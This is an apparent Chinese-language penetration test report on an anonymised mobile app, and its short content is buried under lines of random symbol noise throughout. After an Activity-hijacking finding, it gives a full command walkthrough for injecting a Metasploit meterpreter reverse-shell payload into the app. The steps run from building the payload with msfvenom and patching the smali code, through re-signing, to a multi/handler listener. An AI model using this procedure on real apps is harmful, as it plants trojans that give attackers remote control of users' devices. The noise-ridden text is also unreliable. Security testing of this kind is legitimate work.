1 r. a Y5 u2 A; y8 J* z# b; l) }; n4 Q" Q4 l& I' b
- v t7 s7 N2 [+ \
2 M6 w2 O8 [* d) @0 @4 D
) w# x. L( J7 F' F) b) q! p
7 u8 I; q) ]0 w+ }) `
/ v" G. h0 k$ f( s8 g! t$ K( B% K6 s0 [& q& u# w1 w
+ L3 j( R9 A/ x! ^" O0 |; y
7 d2 Q* |9 D' U1 Y% q# k/ R + @+ E- Z$ m1 ]5 W, y9 L, X
1 v2 e0 k4 S ~; r# j 2 检测结果 ) |) t0 ]% H/ d2 `$ n1 {
4 ]3 u3 k, w2 s, L9 Q3 T& Y h
' J2 f5 @2 g9 Y/ y
0 S! I+ n. Y0 b. G/ j3 o4 D 1 ?5 l. ~9 G [! F: G9 Y' @
/ w- K) _ C2 Y 2.1 某某某
' L2 c9 |: U: M5 n
, v' p7 {7 Q: L, z
% |' p- U; p4 J0 r) y2 s* i, r, H( t
( \6 Z6 v& P7 [. l1 }4 t . D2 q( G9 s! F
& o* q, u/ k4 `0 P2 {* K4 i$ H7 w* e
2.1.1检测目标
4 T3 Q4 e$ N# Z2 F6 d% K! n3 A. J0 F; J7 J. k& X
3 H7 g7 P$ u, M7 ]/ R& g( V# x9 c2 l4 @9 E9 ]
- }7 `2 H: i+ y$ }9 C" J
* H6 G) L! q2 d1 o( B9 I% J
目标地址: 某某某某某某APP
# e! O4 ]; |& Y* |* n& ?( I$ @2 a! k1 T# }( Y# C! Y
: v$ q) e8 V& m. L
; b! s- Q E& Z
4 \' Q4 I% Z( I
5 {, U2 n; _- Y+ q4 n: I
2.1.2检测结果 / T; X% `% a# t# M$ Z
1 q6 `. A' d* ]- Y3 u- w, i5 S; f
: D. f' o: X, W' ^' N- s
/ o2 o9 y* Q: d6 X
3 }3 B1 j& q! M+ J$ y
+ H3 N( l" L- p2 s" m! K
2.1.2.1
; l$ U( [$ P4 I' Z
2 I2 f, o' A% ]
# t: r; s) N. }, H1 n0 ?1 w! P7 y/ P: E! h" p
% I5 h& ?1 ~4 s
: _: w: R& T6 g$ ?% \ 漏洞链接地址:某某某某某某APP
) s( H$ {% b1 t1 U
3 N3 }+ o. O8 n5 m6 l4 P
. @6 v; e9 S/ @: g4 v( g' A3 T7 ~. a' i4 b9 V9 ]9 Q" Y
) ~: \. G6 X0 E! C5 z' _* w* F9 X: ^% w( ?/ `1 v) l
3 U* u5 ?0 p8 W9 U# b
+ h2 Q; \! F4 F
- j1 B, X% s5 a4 Q+ U
% {0 O6 l! |* }, q! @. Y
; p& O) G5 m: J0 x ~
" m2 y7 h9 T5 g F% T k! K. w 漏洞分析及取证:
+ W( S4 |; A0 c7 w; h# K3 Q$ ?3 v9 c: \( j6 e
( a( V/ J2 J9 |0 s# {( }
; X- }. g! g! D4 J A: e% {5 f
! i3 A" S$ V3 [0 C+ S) x
- t6 e+ r1 `) N. E/ |& S& @ 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: . E' F8 o, Q# @' P9 z2 g
. s# ]1 B# h9 O+ H1 l8 S
7 C0 |* |. L7 J3 E( A0 U
% v: N. g+ u' Q' t. d9 B
! a# M& j6 H& i# x" J3 g) }) V* E+ @/ p9 p" B: J, \8 t: V3 c3 _' I& q
& R8 i& B: Q( R8 N% y1 S7 X _( ~) p0 {/ C+ Z
$ v. @' G* g" S7 C
, l4 a5 @, N- X! E: H " K5 q% U1 \1 Z
2 o D+ e+ o) g4 } * L5 V5 U% A H; a1 i
2 ]' L/ d2 k4 _4 `5 a
) s( j8 X8 z8 B6 e4 o, k
* D b$ h" X L7 L [, Y, y. c
% x }6 R q# T- S/ p1 C# h( `& `9 ^2 {; A! ~1 e
9 i( J- I; D. c1 s. ]& n- n# Y, ~ o3 ]/ G& M5 e) u: S* a
^6 T! F- u( t; X0 K
. B0 n4 k3 _4 c0 P. @. N" A( Q' y, z
; j8 n& e5 w$ j! T& |8 u" h
. F0 ?+ p) j X* M# S+ ]7 m5 [
* Z; F( o( R6 [6 q' P" Y9 ^6 \
1 g7 F- d1 }# }" u9 A
" Z# h& H( U# I$ Z' W) u1 T; X9 e; j: a5 B, H* r$ W5 x
4 a2 q$ ~0 q+ d* i" `, m$ e; T; ~5 K# g( y5 e) n
. ]% c/ T8 f6 a8 {. Z& \
- l4 |5 m9 f# X
0 n) c6 q! v% K: t. M' _. S
- _, V3 f9 J" J6 B0 T6 i 5 J' |. L5 ]. ~, q: F9 x
9 B. ]& b% h4 I; V8 s; r4 A( G
漏洞危害:高
# |3 Z i" |' [1 G# D4 ]" d1 h2 C$ V n7 l. u3 K g$ u4 \
2 i3 ^8 f5 F/ V, a) ?2 l% [. n8 `) e+ G1 X1 P
' ^5 i5 `) |2 v7 B/ x2 n
# U; h0 j2 t+ b
! f4 w! Y' }4 a7 D( _4 g0 f6 B
7 i* M" |- \& N/ p3 S5 H6 ~ : T: M( E8 T) n D' @
; E! X+ A5 @. e& F
+ v) g8 k0 N# Q$ p- O( D" h& Q" O3 T1 W9 k* f2 B, ~ p
| 7 M. z: R; R% @( U9 g A9 q( k; A8 ~
3 u' `; E& y- ~1 g
6 V$ r8 r+ q9 R1 P0 h1 M: w# D% D B: b: Y0 y, Z% A/ I
严重程度
. w" {6 W% s- g. `3 q- F) l
6 [2 E: O* k k1 y' }2 J9 b$ h 7 n8 Q' D4 s ^2 a% _
; v$ ]3 s% B/ F1 \
| $ a3 t& c9 p$ v
* l. ^2 Z. S3 W$ J1 C/ Y9 b$ @
( i1 x# H* r! R0 h# z, G g* [& I1 j* A0 ^
6 I- e% h+ J0 _, ^" H/ C6 O1 L) U& O; _9 W" c& }1 ?: `
高
# z' A% J z7 M ^) d5 s
7 ^% s; b& _2 w( _8 t; U
2 ?" B% `" O( l( T. E3 Z
7 i) V( _% t0 o) T7 y8 j |
: o" R" A% C. b
4 b" k- o+ ~1 s1 |2 q7 W; a
t) S4 q) o* j+ N4 ~4 Q( L/ x, r8 T1 k; F" u9 [- x
+ o$ E3 i1 ]8 T7 q" O/ \
2 D+ {6 y f r- j ■ 2 _4 K# _! ?, y' W- m: \% t" J! }
# y) k+ Y: D& s' l# d$ [8 F/ o
% S+ c0 N2 E# E( S R& {! w+ Y/ n% m: t9 D
|
) } C* l3 f; Q- X& C, K
. ] E8 u; I8 [2 X+ i" [
# {& K# U' A, R1 }( E1 }; B7 A) Z
8 Z6 F+ ^$ D4 `% Q) N9 j$ O
$ V8 r8 I+ u' j; e* O
" [& A i* T" b2 w% R' S 中
0 X1 o L6 }) r6 {! \6 N0 a9 q
. E: \3 K% D6 ~" o7 o1 |) N. V! T) g 8 B5 S8 e3 h7 |0 @
5 P3 L# Y" H9 z. D- H8 p
|
! H$ ^. v3 T9 A& h; h3 z8 S! r+ v' X9 m6 o: C. ^1 i( O( I# b
/ v0 _/ |& y/ E( O0 {
" e' [# A1 N8 f
- {) w# J. N" j2 v5 {: t
* B9 o; \$ U+ L: h6 n. m
. m( }, L& H8 b0 B3 B" o( i% {' ]" z. l- u
7 |7 ^8 p, J) U. n' ^3 O! C
4 W9 C. ~* u' _ | ! {' r9 S1 D+ \8 u+ `, I7 s
! ?# X9 ]; s# P! d
6 f$ p7 h" r) r
9 S1 }, k, ^# Q4 m" v$ I ' K# T* I" [- s, ^; `7 y5 {
7 i. v: e1 y+ j g! e1 F- U! l o 低
7 m' ~, |* D3 ?( i1 b7 x1 ?! U4 N
e" V3 X4 R. n! @9 T v/ @ , W. a9 X3 z) B
' h, I0 S3 e6 V( I/ K2 W | 0 @ t3 L- D! W/ K# N
9 F) P2 x( U5 b! B) O: C) r) U" c 0 M0 @' I9 @9 B/ B9 u# Z
; Q& ]8 B) @$ p5 p! n
' V' ?. g4 t; B+ i6 ?1 q; _) R e2 G. R5 n: J
. Y3 }, E5 Y) _
3 D) x6 @$ N3 q* i+ M! p1 Q9 N# ?
4 J5 K. }+ e# K& A( W
- z% v) O$ K2 b; v |
" U7 O5 r6 A# b1 i8 n' l e$ Q8 q7 o9 _6 k2 g( W, c* M
. B/ N6 ~2 f. u) A- C. j T) y
) C' h8 @6 W: ~ 2 {7 q8 J$ t3 Z" W$ S7 B! V" l. g
/ f' I. h0 h: o' {0 r9 u
$ R& Q+ @/ e R( o. l- I' ]6 z! w: W: ?" A$ R1 y
( N: ^- m2 |& p7 e% }
! W) c" F! a( {) J
- V4 ^) e6 j7 r# J) J) l1 T# n3 K1 m; v; E7 D: h# P+ Q6 p
) v8 c" ^4 U$ }8 o2 \% C6 j# w# ?9 c' M
4 G# ^% \( ?: y
% u I* `7 a; P M* M
/ W# |8 L7 k0 o: s O3 F . g2 W* J3 _4 ?) ^
6 E: m5 N" g) T2 j6 u 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ( O1 _! a [5 [8 x- i- f( ~; F
3 j' M6 Y }2 X1 `1 ~8 u) U
& g9 u- K3 o5 ~; G4 y0 R0 x
e1 s: t! n7 U; W5 }
& o4 q2 u. ?( R* A. c. Y7 c7 R9 Y$ A
4 \' Y: M p/ P& o
% G6 L- m2 i$ Y1 M' a* E. g) v: a. {" o, G8 ]
+ Y& R# J5 C" B3 ~; o8 p3 |2 u, }: K& u3 O: r1 n4 H
1 ~/ y, ~9 C- g
: v3 f7 T0 r Z' X" o6 a4 C8 F
$ g1 b; Y y: G% w' K. g
6 f& c6 O) l- ^) j- e V5 a' P
+ q8 F/ W1 T+ K) o* e3 p. O- d
7 c: I6 `. c& }7 E* y
+ E0 O4 b2 W/ H& E9 g. a( t m& U
2.1.2.2 ( Y9 l9 U0 u- Q* j% V0 P
) _5 K B/ A6 U; J# ^" o/ z8 r: U
6 b6 B, z4 [ h" `8 B
% w! c# s0 X! H " w; l+ S3 O, S) i- L
* Z( K+ [+ o: l$ K$ ]+ Q2 n3 \ 漏洞链接地址:某某某某某某APP
- S: y1 e: d3 r: z
+ q3 L5 I& ?( F o
$ f- T! G. z# A+ {9 x/ x
+ g# u+ j- J* @, t: h4 A# F
* i0 y: a" |3 H' I6 P0 F, @! e
- _. D0 @4 L) }9 u 漏洞分析及取证: 1 W+ X6 g, }8 s* _& r* W
. C3 n8 }: p, G8 _, c; V9 D
' w6 ~$ Q. ^) V# ?
) b; `* u# x2 E: C- | - s* m* W$ D6 }/ Z. Z9 Y6 o
1 O2 u K: \3 D- Y* A
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: $ R9 D2 o( m6 M' P1 M3 X$ m$ X2 R1 C
, A$ c4 D; X/ ?+ b
9 H6 B# ?( b1 r- g4 C' D* V
" ~9 _* L# Z& V, y8 Q * O/ x/ i1 Y. I. \
3 T* G/ P }5 g
用Metasploit 生成木马 apk
+ s" P O/ {5 P8 c# T8 Z; O. a* ~& A: ]' B
4 ?8 j7 u" [- M2 v( T, Q, O7 q# p
" ^. M' D/ F) _4 c1 W
0 @( H$ _$ p! n, X$ p/ N6 `& U) y- z# B: v: B$ y3 d! \( s
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 8 O6 ]5 ~7 E* ]
, m/ w+ J* N+ c' o/ N" o5 h
, M7 D/ b7 o, x5 S8 l6 p: h) o9 H) Q2 w) [
3 `0 @4 a8 F6 @0 U, k& z- e
* P# N2 [6 C# R
反编译目标apk和木马apk 0 u: e5 @% [/ W, q- G
- U! @6 I% h. l9 t
- H, q& z5 w4 o% J
; a) i7 s$ w7 y: {7 s9 L
: c& R0 F4 Q+ u' C. p8 G& `
8 [5 d: t( x# [
apktool d target.apk
- E& ?+ p- c3 N* m# d. P# O: R; n- Z4 \& Z" }. A
apktool d cockhorse.apk ( E& q+ P8 L4 x- J/ N, b6 `
s4 o8 I/ R8 M! E( q+ _0 |# f
9 U+ @% c8 T5 D1 _- q) X' p2 [8 T) D$ t( w# |+ K9 _6 l& X
8 Y9 n3 T) N o; |0 [+ c
6 G" P ]0 G: l( U4 ?5 ?. ?6 b 木马 apk 注入目标 apk ) h* r' M& @2 h
- z3 n, C% _2 W5 A3 {- ~3 K
0 O; c/ ~- J$ w) r9 t' | i5 B9 @/ a
% r1 V& c5 _6 K A" w1 N6 Q# j3 r: R0 c+ [
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
2 H4 y$ u0 s/ c3 M4 N" O2 z: \
[ f/ Y/ z% _+ U. s invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
$ j7 h" h: }1 M8 J0 F6 g0 m: q+ p7 G& Z, J
/ M' }# f0 U: J8 I
# q8 Q* T" u0 r. t& E' E ' |; ~, i) H3 V& s1 x
5 m" r2 u8 v. R: P3 I
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
; N1 \8 {2 O( W7 O) F* y; K
7 V$ a9 ~- N1 _3 b8 x
5 v' [4 G5 K- \* F% e
2 H6 p( e8 @: y# c' r3 R
( }) \& s, r- x
4 I& u' a& x) x8 z% `7 }8 k 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 % r3 |; b K( w
" b V: |3 u! O9 ^! o
' N6 n7 K$ X2 |* C/ J
* t* ]( k! c5 [- A& j , M5 F% Z+ [) |9 d! }
, ~, X$ {0 C5 c" f9 o) X1 V8 |5 ]
回编译生成最终 apk
7 U S9 x O: F& o& d# R1 s0 T& F3 W, ]$ l6 d: l
; `6 @% {/ K w3 n# D. g/ K& }
5 Z. G; C) H! ~! u6 }5 M
) P# i6 A6 B) t
: X/ F. U! H6 S9 w% ]! w- r3 O 重新打包 " S& I8 V' j# g0 n
, l4 z* l% E. o. u; w/ f
4 Z% y% a0 G" K: _ _5 i
! M i; n) D& J, b' X- a
0 I9 h, m" N' A4 Q$ I; b7 `1 W7 o
+ |' R3 q* z. ]& Y2 T8 ` apktool b -o repackage.apk target_app_floder 2 p: [" |8 ]) H; f3 _: `
' X' ?8 ]1 [7 D7 H& F' ?0 }/ L/ M
/ ]# A' S; a, Z7 `& [6 B3 ^2 S0 g. f! D, I5 p7 w
: i0 x/ E1 b' u: |# C/ ]4 t+ A
创建签名文件,有的话可忽略此步骤 K( s; V/ Z" Z/ e. T" d) ~
: k7 z' T% }# d: i/ @7 m. h
! ~/ U- P$ b. Z0 K6 ~
! x1 _8 Q" q1 o. V& U
* w% v' |- d( C$ u) O" E2 N/ c; R" {3 E3 r- D m p m$ W
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 . l: O, a4 E: c- ?" U
1 ?- Y( Y, q' N4 `+ ^
+ q ]( ?: w9 y
4 T6 ?: ]3 o) T
7 F' }& W1 _' r1 X* A, U+ k2 |
; n# o2 C. `1 U6 H; M. M7 `! l
签名,以下任选其一
) H9 f/ t2 W F9 I" s* A. k6 Q% q
: i, t: _9 x4 r: o9 A- w- j# m; l8 @
, D) Q- `( Z( `' G' m. b# M
, {' G! Z3 ], F( x # d( U( j. Y3 `4 }5 }2 L8 A
& |6 _! |4 k( p jarsigner 方式 9 k) b( D3 Q& w8 Y" k6 A
* O2 u- p# m0 N3 @1 P
$ Q3 z& z! U% t: K& W9 Y) b# P. W* r3 B& u7 K7 ]
+ C, h9 w l6 X5 e6 i6 o
# x& W0 {# v4 d3 L# e8 e jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - F0 `1 r( G4 U+ R6 p# ?
0 Y! r$ J6 F* Q7 z0 l6 }- X
9 ^! P9 B8 U, X, b- W5 H
7 I+ G0 m! d; x$ i/ \: x5 P
/ h: ~9 z" u S8 b* T9 Y; ^1 y2 d9 r2 @: o3 h" _
apksigner 方式
4 D' {0 ^( U" a/ J- t
y2 E2 e4 S4 j% W5 o) S
( i0 l {/ S' a( f
) ^9 {- J: n- E8 s
7 L& O* X: U, C
3 `5 W; q, [0 k+ |3 w! H) w apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
+ w: H/ J, i' y: q Y, j1 Q$ M& A
$ [: J4 F2 M) U; t* }3 u
2 q5 _# d$ O# E, i' y4 `! \9 a- @/ k3 s8 l; ?0 g
0 @* S7 ?- ~2 {1 v+ l6 ?# _" ?' t- V& L
如需要禁用 v2签名 添加选项--v2-signing-enabled false
9 Z, [% t7 E! q7 w
0 W9 T5 s' S1 g$ p6 N1 a- J
5 v) s& i! ^0 n% A* f: t" E; T/ g1 K2 e0 P/ m/ z) s# |" D% O
: M7 o( M6 O G/ D1 W9 W6 A k
! Z1 v; A: {- ~2 p, {5 e" j: Q: g- l
验证,以下任选其一
8 J' z' w& [4 K, S) Y$ X! j
7 l5 u+ Z2 \5 K/ ?0 C, `# [7 K
% S, R& [" e' U7 r9 g
% ]9 i! q1 M! Z0 b. ?- g3 E5 o4 | 2 ~8 f1 G0 [. u8 Z3 l$ q
/ n- k$ q* k: e+ k( B jarsigner方式 ( ?2 N2 u. z3 ]3 \* @% B1 m
) k2 c6 n0 [3 T& E5 p6 {7 u7 d
" U% G4 y; I) {" C4 d
) ~ T4 I8 U6 T5 y# R! k/ N n 1 p, j! B5 y. U
0 w2 h$ D' x1 v6 M1 ^) ` jarsigner -verify repackaged.apk
2 Q) w5 c4 y8 S* {7 @ f: n4 ]$ y( J( a# O6 I0 k) m/ D
! ]+ m* o3 j" `4 Q$ J4 v$ Y3 i, y& K0 ^: x: x/ @+ V5 K& A( V
$ o9 q, M. J7 ~, f& r* H3 h) S, L: S7 \! h, o
apksigner 方式
) G8 @! `/ B, B( Z+ U! w/ K, ~6 m1 ]* l0 u5 i! p2 L$ S. Y; E
* I* T- k/ R8 a0 Z2 \& q/ b5 \
; z1 g# R L( b4 [ ~, l . g! {+ p/ j* J9 H
/ A, O9 U1 L6 f1 [# z
apksigner verify -v --print-certs repackaged.apk % m g6 Y, _7 E
% i4 Y$ ]+ n) L7 W' B$ c
+ {2 V/ d" D1 p4 i) c. C0 L# `
/ t6 k; w. I- D8 o' I% j' I2 y
. ?, n9 P Z/ j$ r$ Y4 P. D) k
B5 h# _8 g2 j# h/ X
keytool方式 + _8 \' o1 Q" e. o
; @8 T3 p, |1 T7 G
4 D" ?' ]0 W# u6 x! F9 _
) k9 J, m+ g1 {7 {" k 0 G, U! `' ~$ Q6 a: h1 e/ z
* f0 w) f# N) ^9 b2 P5 A' R% [$ m' q keytool -printcert -jarfile repackaged.apk
1 |, [8 [, z7 T4 R* }
) T9 h3 }& V0 x
8 E9 ~! i% t. y+ y2 Y* a1 r) N9 w( l
4 O" O% K5 a$ K6 l5 V c, G 4 l: T4 [3 E+ Q1 a2 q
( x: T8 w6 ]5 w9 Q
对齐 ; `3 A* b& ?& d
( h2 ^5 q8 E9 N0 u
7 }; q( s$ X$ D9 E; n. t" v
/ c3 u6 _# w3 g - G; G) _4 O8 v z) D0 H
8 d% N( u: J G& G
字节对齐优化 * u f; t3 D" ]6 x+ a' I5 ~ K
( e1 R2 } n, B4 V; a( X
5 W4 K6 X. s. e1 W# q' |1 N( x* f0 g% v, v! f' m. h) {" o
& k8 `7 m% u) O7 {& w
9 ?5 I3 @9 N9 |- @( A; M& m zipalign -v 4 repackaged.apk final.apk
3 P4 J8 v/ t9 A: l" m3 a' ?8 N5 Y* r, N$ V0 ?; k. G s0 C
3 M; S4 P' c* t3 p7 U
3 u5 H7 P2 ^5 i; P _: d
9 L/ Y7 N1 ~9 p2 ?2 ^& C/ _/ r( r# l
: y4 |0 b; |% r9 N 检查是否对齐 " K) ^0 v- H# M' R1 ^
9 V, F- }6 X- |5 f
+ K) p0 L9 f( S5 t0 T3 r$ x/ {7 v& f0 _
; c6 m$ W7 i' N: ?3 ]4 S
) {( ~4 ^. b7 d$ Q' G- M6 t4 X
. Y* @4 M( r0 K4 T/ E; g zipalign -c -v 4 final.apk
! X0 G! Q4 Y+ @2 z; C5 F3 U7 X' S$ p" i
4 F! F) S+ o9 s& `- d9 u* e- s. A" j" f
0 ]9 K8 I5 b0 B( _
: d* S; Z( z: a 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 1 x$ V3 G: x% W' X
8 E% e6 l9 n+ _. U2 w) E
2 R* J, g7 R- D! d: R5 o/ p9 b: Y A6 M8 H9 ?
0 X$ _% ~! p7 a% d2 k; {
3 ?7 U" b' Y' [, b3 h 启动Metasploit控制台,配置参数等待上线
- `0 y' Y& m% z) `1 Z6 {; c+ h+ l
$ o# I2 `9 H9 o* G0 D) j
: z3 q+ T) B& S
; E7 e% g6 C; M" }
8 p0 d! R0 t' }. z/ D" M' ?7 b8 `5 f: c& E
在终端依次输入如下命令
6 S" h8 G$ v1 q$ e* h- O+ ^# l( o
, f* P7 G9 @* P* g5 R
1 Y, k! a" K1 {3 Y8 V
( U* J+ _/ w# E) e+ c/ _ ?: O- _/ \% S: R4 z* w6 p
& b! j& Q' r* {8 c6 H0 p# U$ [ msfconsole + u- u- E$ @9 U! c7 X( T
+ y l& j- j7 s
, e0 U+ ~' V& d- `
v) c a/ O4 D0 C3 D! X v 1 K, G ~" B" p, R4 n
g" V( i- W1 L& Y+ D" b6 T6 ]# S
use exploit/multi/handler
. t' T3 Z. v: [+ b* ?. J5 A/ k
' U. `3 y1 d6 R2 s
! u' v/ V4 j$ w% Z" o
2 \3 f) F! m$ U' S / {- n* v9 u3 H( Q3 c
$ C/ [1 Y% b% ?' v2 x+ ^
set PAYLOAD android/meterpreter/reverse_tcp # }& A5 Q& `) l
9 u& x& P1 N; R( ~( {8 ^' m
: R- D! F5 D* R5 ^: H
8 P9 H/ m9 K9 W* Y7 k/ z 9 K4 {2 R" T: X. n- s
% W6 Q' U3 z# P/ l7 N; Z9 E
set LHOST 192.xxx.xx.xx
. F) a3 Q' d- k* \
& v, G4 z. r9 B
7 I7 c' _4 B$ F2 Z( \
" z6 \4 A/ b& J; {6 j 7 U# V# Z" g' m! E X |
8 O: d' U0 |6 _. k1 s: x set LPORT 4444 & U7 f+ E! z8 P7 t0 {% u
6 n6 P+ m+ H8 Z8 Q3 }. z: K$ N
; g3 C% J" B; L) H& b9 k3 v
* _7 l- B( Q' J; i5 C# q1 Z
' |. E1 L: B: r
+ m7 L& P8 m$ d7 ~4 Y' ^( [
exploit
- P! C* I6 M1 ]; \- A G' Z/ r. [+ r1 V- ?6 ?! w1 T
% S& v o7 b4 ] t* O9 C! [: F
6 \# A' C# [4 d7 L5 T& n7 D ' ^8 P: A' A- ?6 ]; T2 q: A0 T
( ~' d0 U/ h D* s& k8 V 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
+ U: \6 f3 k4 F. I6 y
" o' p: |, u6 i' Z( ^: d
- Z- j9 D0 k9 K* D1 d( e/ H3 h7 B k: }
5 N9 u; ?; v0 u5 R2 s# b/ M& m8 o) i8 I2 Y
漏洞危害:中
9 ?; t4 m+ Q, i/ R8 p" Z
. ~& O) R$ {1 A9 E- e
% U9 A( b3 b) f% C
8 b- Z! d3 H; o/ `7 L* x ! r. d6 Q+ M. C# n
8 I9 _& \ z2 b. }, e0 Y4 o
' s* v- O& O: Z9 l! m0 m* O
& e1 J. F' w5 \/ `& {
t( t: Y3 j) v; A' b# p' E2 ]
3 G: n" o' l3 L( Y
, ]( l8 m: w3 C& l( x7 e2 W
2 }) p! |; i* Y4 @4 ]% H $ k l# U6 \* l7 |1 o
; E. u0 r z- v4 E" I4 W) g9 K
| 9 R" t; q" g; q# @; m
* E7 }1 ]# N/ x, d6 e3 Q ! S \1 [3 Y! z) S
9 X& u4 I2 E1 s$ v& b1 Y1 a( U 严重程度
8 t& B/ h; m' W% ]2 ]$ E
# X" w1 G/ u& i# r) l ! [; B0 s% q6 H5 z: K5 ^
3 ~% ?8 L' w$ @$ e2 V8 x7 k4 u | % K" @0 `; n; \3 k1 ?5 L
+ K" N2 c# o4 y0 K
+ A" K5 t- L: f( ?9 z0 e# o& T
$ b0 v# Q( x0 K3 p3 z" o% N
w1 b" L- m8 a! m: _
3 t$ j: y$ [: U2 i 高 ' Y3 ] l" ?# [8 R% r
+ Q' ~' [$ B* M9 Z; i( b' i& c5 |
$ P2 w! [8 ?+ ^
% m6 }' _- v4 s, `6 j |
& J6 | H+ U7 ] b, \( j% E6 z$ s/ Q( n2 _
/ N# s7 C- J' Q: m9 v( i
! h- H; s$ r; C+ L . I) X( h% {: W8 A
6 w5 d% v! H4 ^6 I& @0 K5 [ ■
* y; N. } w4 e) \. q B3 l
9 h" a0 u, H- f2 K
) W8 Q% x, m1 |( e" `3 ?4 t
. i5 y5 ^0 z% Y, P% F: Z" V- F |
! D# z% x: u7 x$ b1 [4 c
# E+ L9 J- y9 E ' J* t' k0 M& D! N. O( L k/ V
. n1 u7 {; [5 Y" i7 x; A( `' a * F: Y0 P" ~" A
& V: Z2 \, Q, E }8 g* M; E' e
中
# @% \. q$ l4 j* V
* ~8 M1 b u B9 ~7 |6 q+ r# m $ B$ Q5 S: S! O
0 y. Q8 l0 |9 r$ @. G8 c
|
. K& n% b @1 `& ^
/ q# i0 A+ G' R J5 {: Z
4 l5 P, m+ |9 c$ V; n/ Y% o0 s! b$ S0 M U- b1 `/ m% {2 U* Y
" H: r! F: M: ^5 M9 q
+ p, d5 y0 F7 ^& g2 g( W 7 ^5 B/ G; x; G
6 _5 t( ^- `( F" S5 D
3 V# H" y* D$ y/ x5 q: [% V7 n5 f7 d8 s
" `' E7 y2 S$ K. D, m
9 d o1 u0 n+ I: ^/ U; r9 g | . e" @) R$ v' |; u* A
( s8 h' m( a$ Q1 Z& [& L$ X" \
{1 Q+ ^3 `. b! N& p3 t
, ]! d8 d, b5 |/ O. c6 d
* K# e5 X$ Z& X1 u3 M; `) f5 P& |) U2 n5 \7 C! c }2 t' Y
低
4 H' H: b. }% m* m5 b0 ~5 o! V
3 o& ]5 q8 p* u8 z+ j5 o$ y 3 [" P5 A, L4 P) n: [
. o1 t/ ^6 d) o4 E' E/ i# Q8 g |
' N4 @6 `& N: m0 n5 F/ n: L3 m. ~" ]+ ]# p/ d6 h% j
8 k& }: d/ G- f& p. j' ]% H0 q! @+ g: A; p8 Z" R0 r6 r' h
6 ]! Y+ N6 Y, ]1 u$ [) Y& @% R- s6 @7 b0 Q2 ]
9 E+ l! w9 L! z3 J& g
) f% U% a5 ~& P1 n) g# R: ^ , i4 w g5 j" i
! S# ]" F9 R* P0 l
3 X9 m. b9 b2 R4 i9 b7 ]; A& ]' k. a2 D' {* x' y2 L$ \- [
|
1 q- m1 `* k5 W/ x( F* b# S/ W! c% I) l l9 h5 R% ^2 |8 [
. X/ c$ t3 [& @: t: C* {; W' X) }$ W1 G5 O0 g
! h6 N# U6 F4 W, A& k7 O
! @) t' {5 K1 \, o8 @3 x+ P/ r$ b
0 c7 c3 X, R) f6 p: B* w
. o V6 W8 M( U3 T: m: S" Y+ N9 }1 J3 i
. V+ h/ @7 R: A8 ]( Z: U
! [( b2 }. C+ P) s2 `
( X& A3 k; `" D
# n" w, m+ Z: ~4 n+ r _* y1 `6 K5 ` A, d+ a6 k
9 R9 m5 H4 c/ \/ e2 C2 \4 P+ a& H
% n5 Y+ u& y; ^% s2 B5 W
. w$ z0 Q, |, o% _! H / e* T7 C9 e7 S; f, Y0 _4 [
9 S& E1 X* C% Z3 [2 n0 \
修复方法:
# Y) [8 o8 W" ^$ e7 E! e8 e$ |) @
" n. V8 h8 H+ Q+ K/ `! x
# ?" W/ R' A/ a6 r* b: K9 ~
6 ^/ g( M% _/ M P
! {, V6 z# Z6 R: `' J; C, K
$ Q, F* u5 C# l7 F 1.在 APP 启动时应做签名校验防止二次打包。
# a4 R7 c2 Y! ?2 ^% b. W$ V- q4 n
. o( d9 Q/ o7 ` 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
* J! t" X" ~ D( O4 B& l6 ^
$ y/ S+ j1 O2 n9 }# G# V/ {8 H
; G- b3 i9 X. s$ ]# b. _
2 S! P# B* `4 X ( r$ V, O! R% h+ h" K% }6 B1 d8 i
0 s5 M; T) }* ], \
+ }# d6 l ]: z: ~5 W
/ @/ R7 c9 {$ m# b ! X1 U n/ `6 V. ~8 z7 I8 f
- w; f! C( q6 }. I2 O8 l/ @6 L
8 A' O' m6 y" j) `( |. W! k7 t
& _8 d$ ~; @% W. T$ f4 R
4 U5 e' ^+ U" d5 B2 t5 T# k0 S9 T G' f& J
9 B" H( p( \* C! T+ n' X
3 K5 h0 o$ U2 [) |, c8 O% M' }0 `
8 C9 g4 X' j/ S- {# y
* k9 A+ P! z% ?. T3 }3 }
' s) z s3 C* t1 f
3 e& m6 P9 }# ?( I$ q' C6 J* w- |. V* l